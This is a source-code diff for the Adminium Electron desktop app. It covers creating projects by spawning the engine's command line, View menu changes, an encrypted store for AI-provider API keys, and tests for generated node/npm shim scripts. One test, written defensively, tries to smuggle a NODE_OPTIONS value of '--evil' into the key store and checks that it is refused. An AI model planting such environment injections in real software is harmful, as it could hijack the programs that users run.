+import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
+import { dirname, resolve } from 'node:path';
+
+import type { DesktopMakeStep } from '../preload/api.js';
+import type { MakeProjectResult } from './start.js';
+import { parseFolderFacts, type FolderFacts } from './folder-open.js';
+
+/**
+ * The database a project made for the Designer starts with: a file of its own,
+ * in the project. FROZEN to the engine's `DESIGN_DATABASE`
+ * (`make-project.test.ts` holds the two together): main may not import the
+ * engine at run time.
+ */
+export const NEW_PROJECT_DATABASE = 'sqlite:./data/app.sqlite';
+
+/** A first install on a slow connection; past this something is wrong. */
+export const MAKE_PROJECT_TIMEOUT_MS = 15 * 60_000;
+
+export interface RanProgram {
+ code: number | null;
+ /** The end of what it printed, both streams. */
+ output: string;
+ timedOut: boolean;
+}
+
+export interface MakeProjectDeps {
+ /** Main's own `process.execPath`. */
+ binary: string;
+ /** The engine's command-line entry (`@adminium/server`'s `dist/cli/index.js`). */
+ cliEntry: string;
+ /** Where the app's own programs are, as the JSON the engine reads; `undefined` when this build has none. */
+ programs: () => Promise;
+ env: Readonly>;
+ run: (
+ command: string,
+ args: readonly string[],
+ opts: { cwd: string; env: Record; timeoutMs: number; onOutput?: (text: string) => void },
+ ) => Promise;
+ log?: ((line: string) => void) | undefined;
+}
+
+/** The last lines of a program's output: what a person can act on, without the wall above it. */
+export function lastLines(output: string, count = 6): string {
+ return output
+ .split('\n')
+ .map((line) => line.trimEnd())
+ .filter((line) => line !== '')
+ .slice(-count)
+ .join('\n');
+}
+
+/**
+ * The line the engine's `new` prints as it hands over to npm (`Installing
+ * dependencies with npm…`). Everything before it is laying the files, which is
+ * quick; everything after is the download, which is not. FROZEN to the engine's
+ * words by `make-project.test.ts`, which reads them from its source.
+ */
+export const INSTALLING_LINE = 'Installing dependencies with';
+
+export function createMakeProject(
+ deps: MakeProjectDeps,
+): (input: { parent: string; folder: string; root: string; onStep?: (step: DesktopMakeStep) => void }) => Promise {
+ return async ({ parent, folder, root, onStep }) => {
+ onStep?.('files');
+ try {
+ mkdirSync(parent, { recursive: true });
+ } catch (error) {
+ return { ok: false, detail: `Could not make ${parent}: ${error instanceof Error ? error.message : String(error)}` };
+ }
+ // A folder this call makes and cannot finish is taken away again: left behind it is a project with no packages,
+ // which "Create" then refuses as a folder with files in it. One that was there before (empty) is the person's.
+ const madeHere = !existsSync(root);
+ const failed = (detail: string): MakeProjectResult => {
+ if (madeHere) {
+ try {
+ rmSync(root, { recursive: true, force: true });
+ } catch {
+ // Still there (a file held open): the detail below is what matters.
+ }
+ }
+ return { ok: false, detail };
+ };
+ const programs = await deps.programs();
+ const env: Record = {};
+ for (const [key, value] of Object.entries(deps.env)) if (value !== undefined) env[key] = value;
+ env.ELECTRON_RUN_AS_NODE = '1';
+ if (programs !== undefined) env.ADMINIUM_DESKTOP_PROGRAMS = programs;
+ // A secret of the classic workspace, or of whatever started the app, is never a new project's.
+ delete env.ADMINIUM_SECRET;
+
+ // Read as it is printed, for one thing only: the moment the files are laid and the download starts.
+ let printed = '';
+ let installing = false;
+ const onOutput = (text: string): void => {
+ if (installing) return;
+ printed = (printed + text).slice(-512);
+ if (printed.includes(INSTALLING_LINE)) {
+ installing = true;
+ onStep?.('packages');
+ }
+ };
+ const ran = await deps.run(deps.binary, [deps.cliEntry, 'new', folder, '--yes', '--database', NEW_PROJECT_DATABASE], {
+ cwd: parent,
+ env,
+ timeoutMs: MAKE_PROJECT_TIMEOUT_MS,
+ onOutput,
+ });
+ deps.log?.(`[new project] ${root}: exit ${String(ran.code)}${ran.timedOut ? ' (timed out)' : ''}\n${lastLines(ran.output, 20)}`);
+ if (ran.timedOut) return failed('Getting the packages took too long and was stopped.');
+ if (ran.code !== 0) return failed(lastLines(ran.output));
+
+ onStep?.('database');
+ // A SQLite connection opens only a file that exists; an empty file is an empty database.
+ const database = resolve(root, NEW_PROJECT_DATABASE.slice('sqlite:'.length));
+ if (!existsSync(database)) {
+ mkdirSync(dirname(database), { recursive: true });
+ writeFileSync(database, '');
+ }
+ return { ok: true };
+ };
+}
+
+/**
+ * Getting the packages of a project that is already there (one copied from
+ * another computer, or whose `node_modules` was deleted): the engine's own
+ * `install`, run in the folder as `new` is run beside it. From the lockfile
+ * when the folder has one, with no install scripts, by the npm the app carries.
+ */
+export function createInstallPackages(deps: MakeProjectDeps): (input: { root: string }) => Promise {
+ return async ({ root }) => {
+ const programs = await deps.programs();
+ const env: Record = {};
+ for (const [key, value] of Object.entries(deps.env)) if (value !== undefined) env[key] = value;
+ env.ELECTRON_RUN_AS_NODE = '1';
+ if (programs !== undefined) env.ADMINIUM_DESKTOP_PROGRAMS = programs;
+ delete env.ADMINIUM_SECRET;
+ const ran = await deps.run(deps.binary, [deps.cliEntry, 'install'], { cwd: root, env, timeoutMs: MAKE_PROJECT_TIMEOUT_MS });
+ deps.log?.(`[project packages] ${root}: exit ${String(ran.code)}${ran.timedOut ? ' (timed out)' : ''}\n${lastLines(ran.output, 20)}`);
+ if (ran.timedOut) return { ok: false, detail: 'Getting the packages took too long and was stopped.' };
+ if (ran.code !== 0) return { ok: false, detail: lastLines(ran.output) };
+ return { ok: true };
+ };
+}
+
+/** The environment the engine's command line is started with for a folder: the app's own program as Node, its programs, no secret of the app's. */
+async function engineEnv(deps: MakeProjectDeps): Promise> {
+ const programs = await deps.programs();
+ const env: Record = {};
+ for (const [key, value] of Object.entries(deps.env)) if (value !== undefined) env[key] = value;
+ env.ELECTRON_RUN_AS_NODE = '1';
+ if (programs !== undefined) env.ADMINIUM_DESKTOP_PROGRAMS = programs;
+ delete env.ADMINIUM_SECRET;
+ return env;
+}
+
+/** How long reading a folder's facts may take: it opens one file. */
+export const FOLDER_FACTS_TIMEOUT_MS = 30_000;
+
+/**
+ * What the engine says a folder holds (`adminium folder-facts`): it reads the
+ * folder and runs nothing of it. `null` when it could not be asked or did not
+ * answer; the caller then opens the folder as it did before there were facts.
+ */
+export function createFolderFacts(deps: MakeProjectDeps): (root: string) => Promise {
+ return async (root) => {
+ const ran = await deps.run(deps.binary, [deps.cliEntry, 'folder-facts'], { cwd: root, env: await engineEnv(deps), timeoutMs: FOLDER_FACTS_TIMEOUT_MS });
+ const facts = ran.code === 0 ? parseFolderFacts(ran.output) : null;
+ if (facts === null) deps.log?.(`[folder facts] ${root}: no answer (exit ${String(ran.code)}${ran.timedOut ? ', timed out' : ''})\n${lastLines(ran.output, 6)}`);
+ return facts;
+ };
+}
+
+/** "Update this project": the engine's `install --update` (the project's Adminium set to the app's, then a whole install). */
+export function createUpdateProject(deps: MakeProjectDeps): (input: { root: string }) => Promise {
+ return async ({ root }) => {
+ const ran = await deps.run(deps.binary, [deps.cliEntry, 'install', '--update'], { cwd: root, env: await engineEnv(deps), timeoutMs: MAKE_PROJECT_TIMEOUT_MS });
+ deps.log?.(`[project update] ${root}: exit ${String(ran.code)}${ran.timedOut ? ' (timed out)' : ''}\n${lastLines(ran.output, 20)}`);
+ if (ran.timedOut) return { ok: false, detail: 'Getting the packages took too long and was stopped.' };
+ if (ran.code !== 0) return { ok: false, detail: lastLines(ran.output) };
+ return { ok: true };
+ };
+}
+
+/** {@link MakeProjectDeps.run} on a real machine. */
+export async function runToEnd(
+ command: string,
+ args: readonly string[],
+ opts: { cwd: string; env: Record; timeoutMs: number; onOutput?: (text: string) => void },
+): Promise {
+ const { spawn, spawnSync } = await import('node:child_process');
+ return new Promise((done) => {
+ let output = '';
+ let timedOut = false;
+ const keep = (chunk: Buffer): void => {
+ // The end is what is read; the start of a long install is not kept.
+ const text = chunk.toString('utf8');
+ output = (output + text).slice(-64 * 1024);
+ opts.onOutput?.(text);
+ };
+ let child: ReturnType;
+ try {
+ // A group of its own: the command starts npm, npm starts more, and stopping the first alone leaves the rest
+ // writing into the folder.
+ child = spawn(command, [...args], { cwd: opts.cwd, env: opts.env, windowsHide: true, stdio: ['ignore', 'pipe', 'pipe'], detached: process.platform !== 'win32' });
+ } catch (error) {
+ done({ code: null, output: error instanceof Error ? error.message : String(error), timedOut: false });
+ return;
+ }
+ /** The command and everything it started. */
+ const stopAll = (): void => {
+ const pid = child.pid;
+ if (pid === undefined || child.exitCode !== null) return;
+ try {
+ if (process.platform === 'win32') spawnSync('taskkill', ['/pid', String(pid), '/T', '/F'], { windowsHide: true, stdio: 'ignore' });
+ else process.kill(-pid, 'SIGTERM');
+ } catch {
+ child.kill();
+ }
+ };
+ // The app quit under it (the person closed the window during "Create"): nothing is left installing behind it.
+ process.once('exit', stopAll);
+ const timer = setTimeout(() => {
+ timedOut = true;
+ stopAll();
+ }, opts.timeoutMs);
+ child.stdout?.on('data', keep);
+ child.stderr?.on('data', keep);
+ child.once('error', (error) => {
+ clearTimeout(timer);
+ process.removeListener('exit', stopAll);
+ done({ code: null, output: `${output}\n${error.message}`, timedOut });
+ });
+ child.once('close', (code) => {
+ clearTimeout(timer);
+ process.removeListener('exit', stopAll);
+ done({ code, output, timedOut });
+ });
+ });
+}
diff --git a/apps/desktop/src/main/menu.test.ts b/apps/desktop/src/main/menu.test.ts
index 5129515df..de4d4b60e 100644
--- a/apps/desktop/src/main/menu.test.ts
+++ b/apps/desktop/src/main/menu.test.ts
@@ -138,18 +138,26 @@ describe('accelerators', () => {
// ─── View: dev tools in dev builds only ──────────────────────────────────────
describe('the View menu', () => {
- it('offers \'s zoom and reload items', () => {
- // "View (Reload, Actual Size/Zoom In/Out, Toggle Developer Tools …)".
- const roles = collectRoles(menu(template(), EN_US_MENU_LABELS.view));
- expect(roles).toEqual(expect.arrayContaining(['reload', 'resetZoom', 'zoomIn', 'zoomOut']));
+ const view = (platform: NodeJS.Platform, isDev: boolean): MenuItemConstructorOptions[] => menu(template({ platform, isDev }), EN_US_MENU_LABELS.view);
+ const shown = (items: readonly MenuItemConstructorOptions[]): string[] => items.filter((item) => item.visible !== false && typeof item.role === 'string').map((item) => String(item.role));
+
+ it.each(PLATFORMS)('shows zoom and full screen, and nothing for finding a fault, on %s', (platform) => {
+ expect(shown(view(platform, false))).toEqual(['resetZoom', 'zoomIn', 'zoomOut', 'togglefullscreen']);
+ });
+
+ it.each(PLATFORMS)('keeps reload, force reload and the developer tools as shortcuts on %s', (platform) => {
+ // A hidden item still answers its accelerator; one that is absent does not.
+ const hidden = view(platform, false).filter((item) => item.visible === false).map((item) => item.role);
+ expect(hidden).toEqual(['reload', 'forceReload', 'toggleDevTools']);
+ });
+
+ it.each(PLATFORMS)('gives the developer tools a line of their own in a dev build on %s', (platform) => {
+ expect(shown(view(platform, true))).toContain('toggleDevTools');
+ expect(view(platform, true).filter((item) => item.role === 'toggleDevTools')).toHaveLength(1);
});
- it.each(PLATFORMS)('hides the dev tools in a production build on %s', (platform) => {
- // "Toggle Developer Tools **in dev builds only**". In production it is a
- // support-call generator and a way to run arbitrary script against the
- // loopback origin — i.e. against a live, authenticated session.
- expect(collectRoles(template({ platform, isDev: false }))).not.toContain('toggleDevTools');
- expect(collectRoles(template({ platform, isDev: true }))).toContain('toggleDevTools');
+ it('does not open on a separator', () => {
+ expect(view('win32', false).find((item) => item.visible !== false)?.type).toBeUndefined();
});
});
diff --git a/apps/desktop/src/main/menu.ts b/apps/desktop/src/main/menu.ts
index 6e99b5d1c..3252cf810 100644
--- a/apps/desktop/src/main/menu.ts
+++ b/apps/desktop/src/main/menu.ts
@@ -158,7 +158,7 @@ export const DOCS_URL = 'https://docs.adminium.dev';
export interface BuildAppMenuOptions {
/** `process.platform`. Drives the mac app menu and the mac-only Edit items. */
platform: NodeJS.Platform;
- /** "Toggle Developer Tools **in dev builds only**". */
+ /** Toggle Developer Tools has a line of its own in dev builds only; elsewhere it is its shortcut. */
isDev: boolean;
/** Label localization. Defaults to {@link EN_US_MENU_LABELS}. */
t?: MenuTranslate | undefined;
@@ -277,16 +277,19 @@ export function appMenuTemplate(opts: BuildAppMenuOptions): MenuItemConstructorO
});
// ── View ──
- // names exactly these: "Reload, Actual Size/Zoom In/Out, Toggle Developer
- // Tools in dev builds only". `forceReload` is deliberately absent — it drops
- // the SPA's session-scoped caches for no benefit the user can perceive — and
- // so is `toggleDevTools` in production, where it is a support-call generator
- // and a way to run arbitrary script against the loopback origin.
+ // What is SHOWN is zoom and full screen. Reload, Force Reload and Toggle
+ // Developer Tools are here with their shortcuts and no line of their own
+ // (owner, 2026-10-10): they are for someone finding a fault, not for the
+ // person using the app, and a hidden item still answers its accelerator
+ // (`acceleratorWorksWhenHidden` is true by default on macOS; Windows and Linux
+ // register every item's accelerator, shown or not). In a dev build the
+ // developer tools keep their line.
template.push({
label: t('view'),
submenu: [
- { role: 'reload' },
- { type: 'separator' },
+ { role: 'reload', visible: false },
+ { role: 'forceReload', visible: false },
+ ...(opts.isDev ? [] : ([{ role: 'toggleDevTools', visible: false }] satisfies MenuItemConstructorOptions[])),
{ role: 'resetZoom' },
{ role: 'zoomIn' },
{ role: 'zoomOut' },
diff --git a/apps/desktop/src/main/models.test.ts b/apps/desktop/src/main/models.test.ts
new file mode 100644
index 000000000..551d75bdb
--- /dev/null
+++ b/apps/desktop/src/main/models.test.ts
@@ -0,0 +1,96 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { existsSync, mkdtempSync, readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+import type { SafeStorageLike } from './config.js';
+import { createModelsStore, modelsFileFor } from './models.js';
+
+let dir: string;
+let file: string;
+beforeEach(() => {
+ dir = mkdtempSync(join(tmpdir(), 'adminium-models-'));
+ file = modelsFileFor(join(dir, 'app'));
+});
+afterEach(() => {
+ rmSync(dir, { recursive: true, force: true });
+});
+
+/** A key store that "encrypts" in a way a test can see through, and only for this user. */
+const keyStore = (over: Partial = {}): SafeStorageLike => ({
+ isEncryptionAvailable: () => true,
+ encryptString: (plain) => Buffer.from(`sealed:${plain.split('').reverse().join('')}`),
+ decryptString: (sealed) => {
+ const text = sealed.toString();
+ if (!text.startsWith('sealed:')) throw new Error('not this user’s');
+ return text.slice('sealed:'.length).split('').reverse().join('');
+ },
+ ...over,
+});
+const KEY = 'sk-ant-api03-0123456789';
+
+describe('the model keys the app keeps', () => {
+ it('start empty, in a file beside the app’s own and not inside it', () => {
+ expect(file).toBe(join(dir, 'app', 'models.json'));
+ expect(createModelsStore({ file, keyStore: keyStore() }).read()).toEqual({ values: {}, keeping: 'key-store' });
+ expect(existsSync(file)).toBe(false);
+ });
+
+ it('are written encrypted by the system’s key store, readable by the owner only, and read back', () => {
+ const store = createModelsStore({ file, keyStore: keyStore() });
+ expect(store.keep({ ADMINIUM_AI_ANTHROPIC_API_KEY: KEY, ADMINIUM_AI_MODEL: 'anthropic/claude' })).toEqual({ values: { ADMINIUM_AI_ANTHROPIC_API_KEY: KEY, ADMINIUM_AI_MODEL: 'anthropic/claude' }, keeping: 'key-store' });
+ const onDisk = readFileSync(file, 'utf8');
+ expect(onDisk).not.toContain(KEY);
+ expect(JSON.parse(onDisk)).toMatchObject({ version: 1, storage: 'key-store' });
+ if (process.platform !== 'win32') expect(statSync(file).mode & 0o077).toBe(0);
+ // Another launch.
+ expect(createModelsStore({ file, keyStore: keyStore() }).read().values).toEqual({ ADMINIUM_AI_ANTHROPIC_API_KEY: KEY, ADMINIUM_AI_MODEL: 'anthropic/claude' });
+ expect(existsSync(`${file}.tmp`)).toBe(false);
+ });
+
+ it('a later save changes only what it names; null or an empty value takes a name away', () => {
+ const store = createModelsStore({ file, keyStore: keyStore() });
+ store.keep({ ADMINIUM_AI_ANTHROPIC_API_KEY: KEY, ADMINIUM_AI_MODEL: 'anthropic/claude', PEXELS_API_KEY: 'px' });
+ expect(store.keep({ ADMINIUM_AI_MODEL: 'ollama/llama3', ADMINIUM_AI_ANTHROPIC_API_KEY: null, PEXELS_API_KEY: ' ' }).values).toEqual({ ADMINIUM_AI_MODEL: 'ollama/llama3' });
+ expect(store.read().values).toEqual({ ADMINIUM_AI_MODEL: 'ollama/llama3' });
+ });
+
+ it('where the system has no key store they are kept as they are, and the file says so', () => {
+ const none = keyStore({ isEncryptionAvailable: () => false });
+ const store = createModelsStore({ file, keyStore: none });
+ expect(store.keep({ ADMINIUM_AI_OPENAI_API_KEY: KEY })).toEqual({ values: { ADMINIUM_AI_OPENAI_API_KEY: KEY }, keeping: 'plain' });
+ expect(JSON.parse(readFileSync(file, 'utf8'))).toEqual({ version: 1, storage: 'plain', values: { ADMINIUM_AI_OPENAI_API_KEY: KEY } });
+ expect(store.read()).toEqual({ values: { ADMINIUM_AI_OPENAI_API_KEY: KEY }, keeping: 'plain' });
+ // A key store that fails to answer is no key store.
+ expect(createModelsStore({ file, keyStore: keyStore({ isEncryptionAvailable: () => { throw new Error('no keyring'); } }) }).read().keeping).toBe('plain');
+ // The store came later: the next save seals what was plain.
+ const later = createModelsStore({ file, keyStore: keyStore() });
+ later.keep({ ADMINIUM_AI_MODEL: 'openai/gpt' });
+ expect(readFileSync(file, 'utf8')).not.toContain(KEY);
+ expect(later.read().values).toEqual({ ADMINIUM_AI_OPENAI_API_KEY: KEY, ADMINIUM_AI_MODEL: 'openai/gpt' });
+ });
+
+ it('a value this computer cannot read is asked for again, the others are kept, and it is said in the log', () => {
+ const log = vi.fn();
+ createModelsStore({ file, keyStore: keyStore() }).keep({ ADMINIUM_AI_MODEL: 'anthropic/claude' });
+ const parsed = JSON.parse(readFileSync(file, 'utf8')) as { values: Record };
+ parsed.values['ADMINIUM_AI_ANTHROPIC_API_KEY'] = Buffer.from('written by someone else').toString('base64');
+ writeFileSync(file, JSON.stringify(parsed));
+ expect(createModelsStore({ file, keyStore: keyStore(), log }).read().values).toEqual({ ADMINIUM_AI_MODEL: 'anthropic/claude' });
+ expect(log).toHaveBeenCalledWith(expect.stringContaining('ADMINIUM_AI_ANTHROPIC_API_KEY'));
+ expect(String(log.mock.calls[0]?.[0])).not.toContain('written by someone else');
+ });
+
+ it('a file that does not read keeps nothing and is left where it is; a name that is not one of the eight is not kept', () => {
+ const store = createModelsStore({ file, keyStore: keyStore() });
+ store.keep({ ADMINIUM_AI_MODEL: 'a/b', ...({ NODE_OPTIONS: '--evil' } as object) });
+ expect(readFileSync(file, 'utf8')).not.toContain('NODE_OPTIONS');
+ writeFileSync(file, '{ broken');
+ expect(store.read().values).toEqual({});
+ expect(readFileSync(file, 'utf8')).toBe('{ broken');
+ writeFileSync(file, JSON.stringify({ version: 2, storage: 'plain', values: {} }));
+ expect(store.read().values).toEqual({});
+ });
+});
diff --git a/apps/desktop/src/main/models.ts b/apps/desktop/src/main/models.ts
new file mode 100644
index 000000000..b72297dc0
--- /dev/null
+++ b/apps/desktop/src/main/models.ts
@@ -0,0 +1,106 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * The model keys a person gave the app, kept with the app and not with any
+ * project: `/models.json`, each value
+ * encrypted by the system's key store, one set for every project on this
+ * computer. Never in `config.json` (a backup or a support bundle of that file
+ * must not carry them), never in a project folder (a folder that is zipped or
+ * shared carries none).
+ *
+ * Where the system has no key store (some Linux desktops) the values are kept
+ * as they are, in a file only its owner can read, and the file says so: the
+ * model screen then says it too. The app does not refuse to work there.
+ *
+ * ELECTRON-FREE: the key store is a port (`safeStorage` satisfies it).
+ */
+import { mkdirSync, readFileSync, renameSync, writeFileSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+
+import { z } from 'zod';
+
+import { KEPT_KEY_NAMES, type KeptKeyName } from '../server/protocol.js';
+import type { SafeStorageLike } from './config.js';
+import type { KeptModels } from './server-manager.js';
+
+export const MODELS_FILE = 'models.json';
+
+const fileSchema = z.object({
+ version: z.literal(1),
+ storage: z.enum(['key-store', 'plain']),
+ /** `key-store`: base64 of the encrypted value. `plain`: the value. */
+ values: z.partialRecord(z.enum(KEPT_KEY_NAMES), z.string().min(1)),
+});
+
+export interface ModelsStore {
+ /** What is kept, readable now. Empty when there is nothing, or nothing that this computer can read. */
+ read(): KeptModels;
+ /** Add, replace or (with `null`) take away; then what is kept. */
+ keep(patch: Partial>): KeptModels;
+}
+
+export function modelsFileFor(userDataDir: string): string {
+ return join(userDataDir, MODELS_FILE);
+}
+
+export function createModelsStore(opts: { file: string; keyStore: SafeStorageLike; log?: ((line: string) => void) | undefined }): ModelsStore {
+ const keeping = (): KeptModels['keeping'] => {
+ try {
+ return opts.keyStore.isEncryptionAvailable() ? 'key-store' : 'plain';
+ } catch {
+ return 'plain';
+ }
+ };
+
+ const read = (): KeptModels => {
+ let parsed: z.infer;
+ try {
+ parsed = fileSchema.parse(JSON.parse(readFileSync(opts.file, 'utf8')));
+ } catch {
+ // No file yet, or one that does not read: nothing is kept. It is not deleted: a person may want it looked at.
+ return { values: {}, keeping: keeping() };
+ }
+ const values: KeptModels['values'] = {};
+ for (const name of KEPT_KEY_NAMES) {
+ const held = parsed.values[name];
+ if (held === undefined) continue;
+ if (parsed.storage === 'plain') {
+ values[name] = held;
+ continue;
+ }
+ try {
+ const value = opts.keyStore.decryptString(Buffer.from(held, 'base64'));
+ if (value !== '') values[name] = value;
+ } catch {
+ // Written by another user, another computer, or a key store that is gone: that one is asked for again.
+ opts.log?.(`[models] ${name} is kept but cannot be read on this computer`);
+ }
+ }
+ return { values, keeping: keeping() };
+ };
+
+ return {
+ read,
+ keep(patch) {
+ const next: KeptModels['values'] = { ...read().values };
+ for (const name of KEPT_KEY_NAMES) {
+ const value = patch[name];
+ if (value === undefined) continue;
+ if (value === null || value.trim() === '') Reflect.deleteProperty(next, name);
+ else next[name] = value;
+ }
+ const storage = keeping();
+ const values: Partial> = {};
+ for (const name of KEPT_KEY_NAMES) {
+ const value = next[name];
+ if (value === undefined) continue;
+ values[name] = storage === 'key-store' ? opts.keyStore.encryptString(value).toString('base64') : value;
+ }
+ mkdirSync(dirname(opts.file), { recursive: true });
+ // Whole or not at all: a file cut short would lose every key at once.
+ const draft = `${opts.file}.tmp`;
+ writeFileSync(draft, `${JSON.stringify({ version: 1, storage, values } satisfies z.infer, null, 2)}\n`, { mode: 0o600 });
+ renameSync(draft, opts.file);
+ return { values: next, keeping: storage };
+ },
+ };
+}
diff --git a/apps/desktop/src/main/programs.test.ts b/apps/desktop/src/main/programs.test.ts
new file mode 100644
index 000000000..a77c18737
--- /dev/null
+++ b/apps/desktop/src/main/programs.test.ts
@@ -0,0 +1,137 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { execFileSync } from 'node:child_process';
+import { mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+import { desktopPrograms } from '@adminium/server';
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+
+import { carriedNpmDir, provideDesktopPrograms, shimForCmd, shimForSh } from './programs.js';
+
+let userData: string;
+beforeEach(() => {
+ userData = mkdtempSync(join(tmpdir(), "adminium's programs "));
+});
+afterEach(() => {
+ rmSync(userData, { recursive: true, force: true });
+});
+
+const NPM = { npmUserConfig: '/u/user.npmrc', npmGlobalConfig: '/u/global.npmrc', npmCache: '/u/cache' };
+
+describe('provideDesktopPrograms', () => {
+ it('writes three stand-ins and npm’s own empty settings, and says where everything is', () => {
+ const value = provideDesktopPrograms({ binary: '/Applications/Adminium.app/Contents/MacOS/Adminium', npmDir: '/Applications/Adminium.app/Contents/Resources/npm', userDataDir: userData, git: null, platform: 'darwin' });
+ expect(value).toEqual({
+ binary: '/Applications/Adminium.app/Contents/MacOS/Adminium',
+ npm: '/Applications/Adminium.app/Contents/Resources/npm',
+ shims: join(userData, 'programs', 'bin'),
+ git: null,
+ npmUserConfig: join(userData, 'programs', 'npm', 'user.npmrc'),
+ npmGlobalConfig: join(userData, 'programs', 'npm', 'global.npmrc'),
+ npmCache: join(userData, 'programs', 'npm', 'cache'),
+ approvals: join(userData, 'approved-builds'),
+ starter: null,
+ });
+ expect(readdirSync(value.shims).sort()).toEqual(['node', 'npm', 'npx']);
+ for (const name of ['node', 'npm', 'npx']) expect(statSync(join(value.shims, name)).mode & 0o111, name).not.toBe(0);
+ expect(readFileSync(value.npmUserConfig, 'utf8')).toBe('');
+ expect(readFileSync(value.npmGlobalConfig, 'utf8')).toBe('');
+ // The server package reads exactly this value.
+ expect(desktopPrograms({ ADMINIUM_DESKTOP_PROGRAMS: JSON.stringify(value) })).toEqual(value);
+ });
+
+ it('writes them again at the next launch from that launch’s own path, and keeps settings a person changed', () => {
+ const first = provideDesktopPrograms({ binary: '/Volumes/Adminium/Adminium.app/Contents/MacOS/Adminium', npmDir: '/Volumes/Adminium/npm', userDataDir: userData, git: null, platform: 'darwin' });
+ writeFileSync(first.npmUserConfig, 'proxy=http://proxy.example:8080\n');
+ const second = provideDesktopPrograms({ binary: '/Applications/Adminium.app/Contents/MacOS/Adminium', npmDir: '/Applications/Adminium.app/Contents/Resources/npm', userDataDir: userData, git: '/usr/bin/git', platform: 'darwin' });
+ const node = readFileSync(join(second.shims, 'node'), 'utf8');
+ expect(node).toContain("exec '/Applications/Adminium.app/Contents/MacOS/Adminium' \"$@\"");
+ expect(node).not.toContain('/Volumes/');
+ expect(readFileSync(second.npmUserConfig, 'utf8')).toBe('proxy=http://proxy.example:8080\n');
+ expect(second.git).toBe('/usr/bin/git');
+ });
+
+ it('on Windows they are .cmd files', () => {
+ const value = provideDesktopPrograms({ binary: 'C:\\Users\\Ava\\AppData\\Local\\Programs\\Adminium\\Adminium.exe', npmDir: 'C:\\Users\\Ava\\AppData\\Local\\Programs\\Adminium\\resources\\npm', userDataDir: userData, git: null, platform: 'win32' });
+ expect(readdirSync(value.shims).sort()).toEqual(['node.cmd', 'npm.cmd', 'npx.cmd']);
+ const npm = readFileSync(join(value.shims, 'npm.cmd'), 'utf8');
+ const line = '"C:\\Users\\Ava\\AppData\\Local\\Programs\\Adminium\\Adminium.exe"';
+ const entry = '"C:\\Users\\Ava\\AppData\\Local\\Programs\\Adminium\\resources\\npm\\bin\\npm-cli.js"';
+ expect(npm).toContain(`) else (\r\n ${line} ${entry} %*\r\n)`);
+ expect(npm).toContain(`if defined ADMINIUM_BUILD_GUARD (\r\n ${line} --require "%ADMINIUM_BUILD_GUARD%" ${entry} %*\r\n`);
+ });
+
+ it.skipIf(process.platform === 'win32')('a stand-in really starts the program it names as Node, from a folder with a quote and a space in its name', () => {
+ // This test's own Node stands in for the app's program: what is proved is the script, its quoting and its environment.
+ const value = provideDesktopPrograms({ binary: process.execPath, npmDir: join(userData, 'no npm here'), userDataDir: userData, git: null, platform: process.platform });
+ const out = execFileSync(join(value.shims, 'node'), ['-e', 'process.stdout.write(JSON.stringify([process.env.ELECTRON_RUN_AS_NODE, process.argv.slice(1)]))', 'a b', "it's"], { encoding: 'utf8' });
+ expect(JSON.parse(out)).toEqual(['1', ['a b', "it's"]]);
+ });
+});
+
+describe('the guard of a copied app’s build', () => {
+ it.skipIf(process.platform === 'win32')('is handed to the program as an argument when its name is set, before anything else runs', () => {
+ const value = provideDesktopPrograms({ binary: process.execPath, npmDir: join(userData, 'no npm here'), userDataDir: userData, git: null, platform: process.platform });
+ const guard = join(userData, "guard's file.cjs");
+ writeFileSync(guard, 'globalThis.guarded = true;\n');
+ const run = (env: Record): string =>
+ execFileSync(join(value.shims, 'node'), ['-e', 'process.stdout.write(String(globalThis.guarded === true))'], { encoding: 'utf8', env: { PATH: process.env.PATH ?? '', ...env } });
+ expect(run({ ADMINIUM_BUILD_GUARD: guard })).toBe('true');
+ // No build of a copied app: nothing is loaded first.
+ expect(run({})).toBe('false');
+ expect(run({ ADMINIUM_BUILD_GUARD: '' })).toBe('false');
+ });
+
+ it('comes before npm’s own entry, so npm and everything it starts is behind it', () => {
+ const text = shimForSh('/app/Adminium', '/res/npm/bin/npm-cli.js', NPM);
+ expect(text).toContain(`exec '/app/Adminium' --require "$ADMINIUM_BUILD_GUARD" '/res/npm/bin/npm-cli.js' "$@"`);
+ });
+});
+
+describe('the stand-ins’ text', () => {
+ it('sh: quotes a path that holds a quote, and gives npm the app’s own settings', () => {
+ const text = shimForSh("/Users/o'brien/Adminium.app/Contents/MacOS/Adminium", '/res/npm/bin/npm-cli.js', NPM);
+ expect(text.startsWith('#!/bin/sh\n')).toBe(true);
+ expect(text).toContain("exec '/Users/o'\\''brien/Adminium.app/Contents/MacOS/Adminium' '/res/npm/bin/npm-cli.js' \"$@\"\n");
+ expect(text).toContain("export NPM_CONFIG_USERCONFIG='/u/user.npmrc'");
+ expect(shimForSh('/a', null, NPM)).not.toContain('NPM_CONFIG');
+ });
+
+ it('cmd: doubles a percent sign, and ends with the program’s own exit code', () => {
+ const text = shimForCmd('C:\\100% mine\\Adminium.exe', null, NPM);
+ expect(text).toContain(' "C:\\100%% mine\\Adminium.exe" %*\r\n)\r\nexit /b %ERRORLEVEL%\r\n');
+ expect(shimForCmd('C:\\a.exe', 'C:\\npm\\bin\\npx-cli.js', NPM)).toContain('set "NPM_CONFIG_CACHE=/u/cache"');
+ });
+});
+
+describe('carriedNpmDir', () => {
+ it('is beside the archive in a packaged app, and this package’s own dependency from the sources', () => {
+ expect(carriedNpmDir(true, '/Applications/Adminium.app/Contents/Resources', '/ignored')).toBe('/Applications/Adminium.app/Contents/Resources/npm');
+ expect(carriedNpmDir(false, '/ignored', '/repo/apps/desktop/out/main', (path) => `/real${path}`)).toBe('/real/repo/apps/desktop/node_modules/npm');
+ // A link that cannot be followed is still named, so the failure says which file is missing.
+ expect(
+ carriedNpmDir(false, '/ignored', '/repo/apps/desktop/out/main', () => {
+ throw new Error('ENOENT');
+ }),
+ ).toBe('/repo/apps/desktop/node_modules/npm');
+ });
+
